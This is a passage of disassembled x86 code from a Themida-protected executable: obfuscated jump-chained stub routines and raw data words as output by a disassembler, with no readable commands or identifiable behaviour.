		dd 0E2892414h, 4EC8155h, 89000000h, 0F7BE2434h,	0BD7D0423h
		dd 143D38BBh, 707EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562E1D:				; CODE XREF: Themida_:0055A9AEj
		mov	esi, esp
		push	ebx
		mov	ebx, 37B54E51h
		sub	ebx, 37B54E4Dh
		add	esi, ebx
		jmp	loc_562D59
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 75D006C7h, 1D39E9h, 48B6600h, 8AE924h, 815B0000h, 4C4h
		dd 2434FF00h, 0E924148Bh, 0FFFF7B96h, 673EC781h, 875D36DFh
		dd 0E95C243Ch, 0FFFF527Bh, 4EC81h, 0C890000h, 0B9515024h
		dd 76D05881h, 8959C889h, 396858C1h, 89000074h, 1BBE2434h
		dd 13F8B39h, 0D1F75EF1h, 0D93F181h, 9AE97B91h, 66FFFF4Ch
		dd 83240C8Bh, 2C8904ECh, 68E58924h, 7053h, 0B8240489h
		dd 4, 0FF97D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562EB9:				; CODE XREF: Themida_:0055A560j
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 4EC8155h, 54000000h,	8324048Fh, 0E9042404h, 2DD9h, 263CC781h
		dd 0C701491Ch, 4A80E9h,	53C28800h, 0FFC401E9h, 2C781FFh
		dd 57000000h, 42474FFh,	24048F5Fh, 6624248Bh, 8124048Bh
		dd 4ECh, 0BA74E900h, 0E9C1FFFFh, 85C18104h, 1FCD3BFh, 0EB8159CBh
		dd 4, 51A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_562F31:				; CODE XREF: Themida_:00563052j
		neg	di
		not	di
		neg	di
		xor	di, 192Ah
		sub	si, di
		mov	edi, [esp]
		jmp	loc_5629B4
; ---------------------------------------------------------------------------


loc_562F4A:				; CODE XREF: Themida_:0055B49Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_557B58
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0CBC2E952h, 34FFFFFFh, 0B5E95F24h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F7B:				; CODE XREF: Themida_:0055F4F7j
		pop	eax
		pop	ebp
		push	3EFAh
		mov	[esp], ebp
		jmp	loc_568300
; ---------------------------------------------------------------------------


loc_562F8A:				; CODE XREF: Themida_:00568A20j
		pop	ebx
		jmp	loc_55E94B
; ---------------------------------------------------------------------------


loc_562F90:				; CODE XREF: Themida_:005636D3j
		push	4
		pop	eax
		sub	esi, 6F3B6885h
		sub	esi, eax
		add	esi, 6F3B6885h
		mov	eax, [esp]
		jmp	loc_55EF66
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 0C1815900h,	4, 799E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562FC2:				; CODE XREF: Themida_:00561F9Dj
		add	esp, 4
		jmp	loc_559323
; ---------------------------------------------------------------------------
		dw 6850h
		dd 6A5E00BEh, 5FE94858h, 81FFFF5Bh, 3154C9C6h, 0E9F189F2h
		dd 0FFFF460Dh
; ---------------------------------------------------------------------------


loc_562FE4:				; CODE XREF: Themida_:00566021j
		shr	edi, 2
		push	edx
		mov	edx, 157412A6h
		dec	edx
		push	6D2h
		mov	[esp], eax
		mov	eax, 54200E27h
		sub	edx, 5BF60E70h
		add	edx, 56DD0502h
		add	edx, eax
		sub	edx, 56DD0502h
		sub	esp, 4
		jmp	loc_55778B
; ---------------------------------------------------------------------------
		dw 222Ch
		dd 13E9002Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563023:				; CODE XREF: Themida_:005650A2j
		mov	[esp], bx
		mov	bx, 9E0Dh
		push	bp
		mov	bp, 4EC6h
		add	si, bp
		mov	bp, [esp]
		add	esp, 2
		sub	si, bx
		sub	esp, 4
		mov	[esp], edi
		mov	di, 51F7h
		inc	di
		add	di, 561Dh
		jmp	loc_562F31
; ---------------------------------------------------------------------------


loc_563057:				; CODE XREF: Themida_:0055A3A5j
		mov	edi, 240A7F7Bh
		jmp	loc_5563F0
; ---------------------------------------------------------------------------


loc_563061:				; CODE XREF: Themida_:0055CBE2j
		mov	[esp], edx
		jmp	loc_55777B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 0FF698CE9h, 4C481FFh, 80000000h, 0EE809EC6h
		dd 4EC81B2h, 89000000h,	25B5240Ch, 0E902EDC0h, 0FFFF408Dh
; ---------------------------------------------------------------------------


loc_563094:				; CODE XREF: Themida_:00556755j
		push	dword ptr [esp]
		jmp	loc_567BC5
; ---------------------------------------------------------------------------
		dd 51CE8852h, 0EC88F588h, 88535A59h, 3349E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5630AE:				; CODE XREF: Themida_:0055CC04j
		mov	[esp], eax
		mov	al, 7
		push	ecx
		jmp	loc_55714A
; ---------------------------------------------------------------------------
aScg		db ',',0Dh,'(Ðéæg',0
		align 2
aHs		db 'h˜>',0
		dw 8900h
		dd 4B82404h, 81000000h,	2E27CEC5h, 50C52971h, 2E27CEB8h
		dd 58C52971h, 8124048Bh, 4C4h, 41296800h, 2C890000h, 2474FF24h
		dd 48F5D04h, 36E95C24h,	8B000005h, 0CD32424h, 0A3E99C24h
		dd 33000024h, 0C8E92404h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563113:				; CODE XREF: Themida_:00557C78j
		push	eax
		push	457Eh
		mov	[esp], edx
		pop	eax
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		shl	eax, 2
		sub	eax, 46804236h
		jmp	loc_569BF6
; ---------------------------------------------------------------------------


loc_563134:				; CODE XREF: Themida_:0055B028j
		pop	ebp
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	1
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, ebp
		jmp	loc_558CC3
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 83241C8Bh,	0C38104C4h, 4, 4C381h, 0E9530000h
		dd 0FFFF729Dh
; ---------------------------------------------------------------------------


loc_56317C:				; CODE XREF: Themida_:005620A9j
		add	ecx, 4
		jmp	loc_556236
; ---------------------------------------------------------------------------


loc_563187:				; CODE XREF: Themida_:00564202j
		push	ebp
		jmp	loc_565C52
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0ECh
		dd 4, 51240489h, 2A4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56319D:				; CODE XREF: Themida_:0055F6ACj
		push	1522h
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 533A1E6Dh
		not	edi
		push	0
		sub	[esp], edi
		jmp	loc_55F5FE
; ---------------------------------------------------------------------------
		dd 3530C981h, 0F18129EEh, 4A1B4C03h, 0C8BCF89h,	4C48124h
		dd 51000000h, 87B90B9h,	59CF2150h, 57E9D7F7h, 50FFFF64h
		dd 5DD9E952h, 0E95F0000h, 0FFFF2D7Dh
; ---------------------------------------------------------------------------


loc_5631F0:				; CODE XREF: Themida_:005616F0j
		xor	eax, 560A4E5Bh
		xor	eax, 577A2893h
		and	edi, eax
		pop	eax
		or	edi, 488E4BF7h
		push	esi
		mov	esi, 7E2C633Dh
		and	esi, 12AF5DDBh
		shl	esi, 5
		shr	esi, 3
		jmp	loc_566A08
; ---------------------------------------------------------------------------
		dd offset dword_457444+14A24h
		dw 8900h
		dd 9DE9240Ch, 81FFFF2Ah, 0D25957C6h, 73EE8164h,	5F29D56Ah
		dd 4EC8153h, 89000000h,	9ABE2434h, 0BB2FC54Bh, 653D4E0Ch
		dd 348BF331h, 4C48124h,	57000000h, 0FFC907E9h, 0E78957FFh
		dd 4C781h, 0B5E90000h, 68000003h, 472418FEh, 33BD555Ah
		dd 530A557Dh, 0E24F5CBBh, 0DFC3810Bh, 0E9026664h, 9C1h
		dd 4C181h, 0C1830000h, 240C3304h, 0FF7DC2E9h, 59CD01FFh
		dd 0FFA96FE9h, 148758FFh, 0D1E95C24h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5632A7:				; CODE XREF: Themida_:00568FA7j
		push	edx
		mov	edx, 4
		jmp	loc_55C862
; ---------------------------------------------------------------------------
aLSx6		db '‹$$Ò<$œéX6',0
		align 2


loc_5632BE:				; CODE XREF: Themida_:00564CB8j
		add	esi, 4
		push	edi
		mov	edi, 4EA018E4h
		sub	edi, 421C0E92h
		sub	edi, 0C840A4Eh
		push	ebp
		mov	ebp, 2B5D0944h
		add	esi, ebp
		pop	ebp
		add	esi, edi
		push	edi
		mov	edi, 2B5D0944h
		jmp	loc_55A44A
; ---------------------------------------------------------------------------
aBuUSxw		db 'î$²Uêé•w',0
		dw 0F700h
		dd 4E1C1D1h, 0A0CBC181h, 0F2E99CEAh, 0B0FFFF76h, 885166EAh
		dd 4EC83D9h, 88241489h,	0E9F388C6h, 0FFFF4A20h,	8324048Bh
		dd 540104C4h, 0F1E90424h, 81FFFF8Eh, 11353AC5h,	24148B2Eh
		dd 5E08950h, 4,	4B951h,	0C8010000h, 24048759h, 0FF5497E9h
		dd 4BEFFh, 0F0890000h, 2E9AE95Eh, 0E181FFFFh, 2E9D5662h
		dd 1783F181h, 0D9F778B2h, 6DD5E181h, 0F181002Bh, 0BA0ACB23h
		dd 6C18E9h
		db 0
; ---------------------------------------------------------------------------


loc_563379:				; CODE XREF: Themida_:005564FCj
		mov	eax, 0
		mov	edx, eax
		pop	eax
		jmp	loc_558E76
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF7C69E9h, 343166FFh, 0A6686624h, 34896671h, 14F76624h
		dd 0A74BE924h, 835BFFFFh, 348904ECh, 4EC8324h, 7A31E9h
		dd 81E28900h, 4C2h, 4BD5500h, 29000000h, 14875DEAh, 34895C24h
		dd 0FEBE24h, 0F7890000h, 3481575Eh, 0F15FCD24h,	0F5815D3Ah
		dd 3AF15FCDh, 1C6F215Fh, 0FFF247E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5633ED:				; CODE XREF: Themida_:0055608Bj
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 672238A0h
		push	edi
		xor	dword ptr [esp], 3E60AEDh
		jmp	loc_560487
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 55505304h, 0B87599BDh, 543CE93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563416:				; CODE XREF: Themida_:005685B4j
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 103E476Dh
		jmp	loc_562415
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 2Ah
		dd 0ADFFFF72h, 61B95155h, 0BD25F47Eh, 36D2DC8Eh, 0FFF7AEE9h
		dd 2052B4FFh, 0C9E958E7h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563447:				; CODE XREF: Themida_:0055A482j
		push	dx
		mov	dh, 66h
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		jmp	loc_55FFFD
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 3BB30824h, 36E91313h, 50FFFFADh, 4B86BF57h, 0EF810C65h
		dd 0A4AC0229h, 0B94959B8h, 5FF83167h, 8358C501h, 2C3304C5h
		dd 0DA67E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563486:				; CODE XREF: Themida_:005659FAj
		xor	cl, 1Ch
		mov	ah, cl
		pop	ecx
		push	edx
		push	ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		mov	bl, dl
		mov	edx, [esp]
		push	esi
		jmp	loc_5699E2
; ---------------------------------------------------------------------------
		dw 0C0BEh
		dd 13038D1h, 2434FFF5h,	0FFD8DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5634AD:				; CODE XREF: Themida_:005644A3j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55CA6E
; ---------------------------------------------------------------------------
		dd 0E95F5457h, 0FFFF2CD0h, 54241489h, 0E924148Bh, 0FFFF8069h
		dd 5B91CB81h, 0C3814B97h, 244105D8h, 2FE9DF29h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5634DF:				; CODE XREF: Themida_:00557E9Fj
		mov	esi, 36C50B29h
		and	esi, 58F20CA9h
		or	esi, 2F7526EBh
		jmp	loc_56A7B9
; ---------------------------------------------------------------------------
		db 9, 0C3h, 58h
		dd 6D9DEB81h, 0CB817A62h, 7C94603Fh, 0C381D3F7h, 61527D75h
		dd 8308F381h, 0DF01E8B1h, 81241C8Bh, 4C4h, 95DBE900h, 0CB81FFFFh
		dd 6E1C2299h, 5A4DE9h, 0E1C15900h, 20C98106h, 4126B34Ch
		dd 0DFDDE981h, 0CF893EFBh, 0DD5DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563546:				; CODE XREF: Themida_:0056183Ej
		mov	[esp], eax
		mov	eax, 48FE587Fh
		push	0
		sub	[esp], eax
		jmp	loc_55E745
; ---------------------------------------------------------------------------
		db 89h
		dd 0C388241Ch, 505BDD88h, 56E08950h, 563372BEh,	0EDE68166h
		dd 0C166C545h, 814E02EEh, 0A619A7CEh, 4F9DE93Bh, 3C89FFFFh
		dd 3B286824h, 23E90000h, 100000Ah, 0BA525AD7h, 4, 2196C781h
		dd 0D7291D61h, 2196EF81h, 34FF1D61h, 0C4835A24h, 243C3304h
		dd 33243C31h, 0A4E9243Ch
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5635BB:				; CODE XREF: Themida_:0055CA69j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55DEEC
; ---------------------------------------------------------------------------
		dd 0C6815E54h, 4, 0FF47A9E9h, 8BC104FFh, 0C483241Ch, 0B7535004h
		dd 6DC780D7h, 0F65BF888h, 61E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5635F2:				; CODE XREF: Themida_:00560765j
		mov	edi, [esp]
		jmp	loc_565923
; ---------------------------------------------------------------------------


loc_5635FA:				; CODE XREF: Themida_:00562CC7j
		pop	edx
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_561951
; ---------------------------------------------------------------------------


loc_563613:				; CODE XREF: Themida_:005617B9j
		pop	esp
		mov	esi, [esp]
		jmp	loc_55764F
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 24248B24h, 0FFD7B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56362D:				; CODE XREF: Themida_:0055E92Dj
		mov	[esp], eax
		jmp	loc_568521
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd offset dword_457444+41B24h
		dd 24248900h, 4240481h,	0E9000000h, 0FFFF7351h
; ---------------------------------------------------------------------------


loc_56364C:				; CODE XREF: Themida_:0055E39Aj
		mov	cl, 0CAh
		jmp	loc_564EDC
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0F6F086C0h, 0C0F086D6h, 592C08E0h, 0FFBED1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563665:				; CODE XREF: Themida_:0055EA0Fj
		mov	esi, 258F7FC4h
		shl	esi, 7
		push	4DDh
		jmp	loc_558E3C
; ---------------------------------------------------------------------------
		db 66h
		dd 66235E68h, 66243C89h, 22474FFh, 243C8B66h, 0E902C483h
		dd 0FFFFC2BBh, 8B2434FFh, 89562404h, 0A64DE9E6h, 70BAFFFFh
		dd 0E96D9938h, 0FFFF4CBCh, 835EF301h, 1C3304C3h, 241C3124h
		dd 0E9241C33h, 0FFFF841Fh, 0E904EA83h, 0FFFF4A74h
; ---------------------------------------------------------------------------


loc_5636C4:				; CODE XREF: Themida_:00559DEFj
		pop	esi
		add	esi, 4
		push	5F12h
		mov	[esp], eax
		jmp	loc_562F90
; ---------------------------------------------------------------------------
aTsor		db 'TéŽR',0
		align 2
		dw 0EA81h
		dd 3D8E44C2h, 1868F201h, 89000014h, 0EAE9240Ch,	0FF000031h
		dd 589D1C77h, 9C240411h, 0FFC66CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563701:				; CODE XREF: Themida_:00564900j
		mov	edx, esp
		jmp	loc_56A264
; ---------------------------------------------------------------------------
		dd 8904EC83h, 682434h, 0E9000000h, 0FFFFEF8Fh, 27AB68h
		dd 24048900h, 5E75B868h, 5BE9586Bh, 29000026h, 0EDCEE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563732:				; CODE XREF: Themida_:00561052j
		pop	ebp
		or	eax, eax
		jz	loc_5576EC
		push	dword ptr [edi+28h]
		jmp	loc_55B437
; ---------------------------------------------------------------------------
		db 83h
		dd 0F7E904C3h, 8B000040h, 0E951242Ch, 33E8h, 5AE9E589h
		dd 89000000h, 4C781E7h,	83000000h, 3C8704EFh, 4895C24h
		dd 9ABE5624h, 0E9027242h, 3AA5h, 0FF240489h, 555A2434h
		dd 0FF56A2E9h, 8BD829FFh, 0C481241Ch, 4, 1BBF68h, 24148900h
		dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFFEB85h
; ---------------------------------------------------------------------------


loc_5637A8:				; CODE XREF: Themida_:0055A7A5j
		sub	eax, 0DA7B19F9h
		mov	edi, eax
		pop	eax
		jmp	loc_556684
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 2C8704C5h, 4452E924h, 835C0000h, 348904ECh
		dd 348B5424h, 0E88DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637D6:				; CODE XREF: Themida_:0055C197j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5695D8
; ---------------------------------------------------------------------------
a0csb4		db '¹"|0céb4',0
		align 2
		dw 0E831h
		dd 0E92434FFh, 44A0h, 4AB0F66h,	24E99C24h, 80FFFF9Bh, 0DE086FF3h
		dd 81241C8Bh, 4C4h, 26B1E900h, 0EC81FFFFh, 4, 0E9241489h
		dd 0FFFF573Fh, 83242489h, 148904ECh, 89E95324h,	8B000066h
		dd 0D8E92434h, 8BFFFF49h, 0D568240Ch, 8900001Eh, 0E954243Ch
		dd 32A7h, 6CB65266h, 5A66F100h,	0C8007304h, 0E3E9732Ch
		dd 5D00001Ch, 8124048Bh, 4C4h, 2B76E900h, 0EFB60000h, 463FE953h
		dd 0C1590000h, 8AE903E0h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563887:				; CODE XREF: Themida_:0055FA03j
		add	ebp, 4
		push	5BE5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5691C2
; ---------------------------------------------------------------------------


loc_5638AC:				; CODE XREF: Themida_:00562119j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		div	cx
		jmp	loc_564472
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD3h, 8304C483h, 1C8904ECh, 2474FF24h, 48F5B04h
		dd 9DF1E924h, 3487FFFFh, 0FF535C24h, 5B042474h,	0E924048Fh
		dd 3C55h, 0FF04C483h, 34FF2434h, 0BE71E924h, 0FF56FFFFh
		dd 0FF042474h, 685E2434h, 2811h, 0E9243489h, 0FFFFFDC0h
; ---------------------------------------------------------------------------


loc_563918:				; CODE XREF: Themida_:0055DB17j
		add	edx, 266F5321h
		sub	edx, ebp
		sub	edx, 266F5321h
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_568A3F
; ---------------------------------------------------------------------------
		dd 0DFE9D301h, 68FFFFA8h, 0B59h, 4EF1E9h
		db 0
; ---------------------------------------------------------------------------


loc_563941:				; CODE XREF: Themida_:005653BEj
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_561D90
; ---------------------------------------------------------------------------
		dw 3489h
		dd 24348124h, 7FFE111Fh, 1FF5815Dh, 0E97FFE11h,	0FFFFC882h
		dd 240C8B66h, 55E68956h, 0BA4E4F68h, 242C8B32h,	81E78957h
		dd 4C7h, 4C78100h, 87000000h, 815C243Ch, 0F53D53CDh, 0FFC5834Bh
		dd 0FF4780E9h, 59CF88FFh, 0C00CCF80h, 0CFFE07EFh, 2831C780h
		dd 6C3CE9F8h, 3C8B0000h, 7836824h, 2C890000h, 0C76AE924h
		dd 0EB81FFFFh, 51356167h, 5CDFC381h, 84E9482Dh
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5639DB:				; CODE XREF: Themida_:00568431j
		or	dx, bx
		pop	bx
		xor	dx, 6AC6h
		add	ax, dx
		mov	edx, [esp]
		add	esp, 4
		add	ax, bx
		jmp	loc_556956
; ---------------------------------------------------------------------------


loc_5639F9:				; CODE XREF: Themida_:0055E9C6j
		mov	edx, 0FFFFFFFFh
		sub	ecx, 3C493ECFh
		add	ecx, edx
		add	ecx, 3C493ECFh
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 34430037h
		xor	ecx, ebx
		pop	ebx
		and	eax, ecx
		jmp	loc_568177
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 2404335Fh, 33240431h
		dd 855C2404h, 79E99CC8h, 68FFFF22h, 6B9Ah, 88241489h, 0E9F388EEh
		dd 0FFFF554Bh
; ---------------------------------------------------------------------------


loc_563A5C:				; CODE XREF: Themida_:00564C04j
		push	edi
		push	6F9Dh
		mov	[esp], ebx
		mov	edi, [esp]
		jmp	loc_55B42F
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 71E90000h, 89000023h, 4C681E6h, 68000000h, 55EDh
		dd 68242C89h, 4, 0FFEE295Dh, 835D2434h,	348704C4h, 0A42DE924h
		dd 248BFFFFh, 68E1F724h, 3312h,	89240C89h, 46856E1h, 0E9000000h
		dd 0FFFFED77h
; ---------------------------------------------------------------------------


loc_563ABC:				; CODE XREF: Themida_:005680C8j
		pop	ebx
		neg	dl
		dec	dl
		shr	dl, 2
		sub	dl, 24h
		sub	al, dl
		jmp	loc_56076A
; ---------------------------------------------------------------------------


loc_563ACE:				; CODE XREF: Themida_:00560A03j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56AAB7
; ---------------------------------------------------------------------------


loc_563AE3:				; CODE XREF: Themida_:0055F6FEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5605A2
; ---------------------------------------------------------------------------
		db 0BDh
		dd 341F3822h, 0FF9992E9h, 4C483FFh, 0FF6695E9h,	2CF028FFh
		dd 8E952AFh, 81000066h,	0E32F49F2h, 5AD78901h, 0F705EFC1h
		dd 4EFC1D7h, 63C968h, 24348900h, 0A68h,	242C8900h, 132E2CBDh
		dd 0CD49BE18h, 0AAE917D1h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B43:				; CODE XREF: Themida_:00563C66j
		sub	edx, 0C1BE3D34h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5579BA
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 83000000h,	1C8904ECh, 81E38924h, 4C3h, 4BF5700h
		dd 1000000h, 0E15FE9FBh, 0BF57FFFFh, 4,	4244481h, 7B16D2Dh
		dd 4247C01h, 4246C81h, 7B16D2Dh, 2434FF5Fh, 0FF727DE9h
		dd 0B3685AFFh, 8900001Fh, 2B9240Ch, 1000000h, 5E18E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563BB6:				; CODE XREF: Themida_:005618A1j
		pop	esi
		push	edx
		mov	edx, 4
		sub	ecx, 50593BD2h
		jmp	loc_5627C4
; ---------------------------------------------------------------------------
		dd 75923548h, 26837F3h,	8900003Bh, 7BBD242Ch, 4D31327Ah
		dd 8107EDC1h, 327C95F5h, 5DE8310Fh, 7AF0BE56h, 0F02928E3h
		dd 0FF70AEE9h, 4BD55FFh, 0E9000000h, 0FFFF6082h, 380CBD55h
		dd 0CD810339h, 47921DA4h, 0E904EDC1h, 5C89h, 575EF001h
		dd 4BFh, 63680500h, 0ACE93A85h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C27:				; CODE XREF: Themida_:00566005j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 0DE618F6h
		jmp	loc_55F629
; ---------------------------------------------------------------------------
		dd 2085F581h, 0EA010082h, 0FF7B8FE9h, 0D7E94BFFh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C4B:				; CODE XREF: Themida_:00564EF1j
		pop	ebx
		add	al, cl
		jmp	loc_567A21
; ---------------------------------------------------------------------------
		db 68h
		dd 7B6Bh, 0B5240C89h, 46E952D3h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C63:				; CODE XREF: Themida_:00561B3Dj
		and	edx, ecx
		pop	ecx
		jmp	loc_563B43
; ---------------------------------------------------------------------------


loc_563C6B:				; CODE XREF: Themida_:0055BE5Aj
		pop	ebx
		pop	ebx
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	edx
		push	4A9Ah
		mov	[esp], edx
		push	0B014176h
		pop	edx
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, edi
		pop	edi
		jmp	loc_567F95
; ---------------------------------------------------------------------------
		db 81h
		dd 0E14305C3h, 94E95A5Bh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CAF:				; CODE XREF: Themida_:0056A8F7j
		sub	esp, 4
		jmp	loc_56A10E
; ---------------------------------------------------------------------------
aI4S_xu		db '‰4$S»È/_xU½',0
		db 4Fh
		dd 0EC8120B5h, 4, 0B9240C89h, 31175034h, 80E9CD31h, 5C00000Fh
		dd 0FF1FE3E9h, 4C383FFh, 5C241C87h, 0E9C8B60Fh,	0FFFFA2CDh
; ---------------------------------------------------------------------------


loc_563CF0:				; CODE XREF: Themida_:00555E13j
		mov	[esp], esi
		jmp	loc_5688E4
; ---------------------------------------------------------------------------
aSzr		db 9,'ÃéZr',0
		dw 2900h
aZsn		db 'ÐZé­#',0
		dw 5F00h
		dd 3525EA81h, 0E2C11EBBh, 0C90EE907h, 0E951FFFFh, 0FFFF4188h
		dd 0F468E9F7h, 89000068h, 48E92414h, 81FFFFC1h,	4E9h, 8325E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D36:				; CODE XREF: Themida_:00567647j
		mov	[esp], ecx
		mov	ch, 0F7h
		sub	ch, 14h
		jmp	loc_561B49
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0ED80DF04h, 80C5285Bh, 48B5BC5h, 4C48124h, 0C0000000h
		dd 0C0E907EDh, 51FFFF94h, 0C181E189h, 4, 8704E983h, 42E9240Ch
		dd 0BA00003Ah, 2, 73E9D101h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D7F:				; CODE XREF: Themida_:0055644Bj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_562B27
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6494E9h, 0F7815B00h,	30DC1B5Ah, 455FFD89h, 71FEE9h
		dd 2C38100h, 68000000h,	6DA2h, 0FF241C89h, 0FF042474h
		dd 685B2434h, 6F08h, 89240489h,	477BE9E0h, 0E8310000h
		dd 0FFC8E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DD5:				; CODE XREF: Themida_:00566B74j
		mov	esp, [esp]
		push	3630h
		mov	[esp], edx
		push	eax
		add	dword ptr [esp], 7E4224A1h
		pop	edx
		push	edi
		jmp	loc_559046
; ---------------------------------------------------------------------------
		db 50h
		dd 0F480CDB4h, 0E0C480C2h, 8087EC80h, 0DCF618ECh, 8895C480h
		dd 24048BE6h, 4C481h, 83E90000h, 29FFFF35h, 0ECE95AD0h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E1B:				; CODE XREF: Themida_:00564012j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_559AC6
; ---------------------------------------------------------------------------
		dw 7B9h
		dd 0C101E60Ah, 0E98106E9h, 12B3F66h, 2532E981h,	0D9F71765h
		dd 888CE952h, 6858FFFFh, 2DE3h,	0E9241489h, 0FFFF84E5h
; ---------------------------------------------------------------------------


loc_563E64:				; CODE XREF: Themida_:0056A30Fj
		push	esi
		mov	esi, 7C026439h
		add	[esp+4], esi
		pop	esi
		jmp	loc_561028
; ---------------------------------------------------------------------------
		dd 8104EDC1h, 4A2512EDh, 5DE9010Fh, 8704C183h, 8F5C240Ch
		dd 248B2404h, 0A30F6624h, 0E99C2404h, 0FFFF1E2Ch, 4244C01h
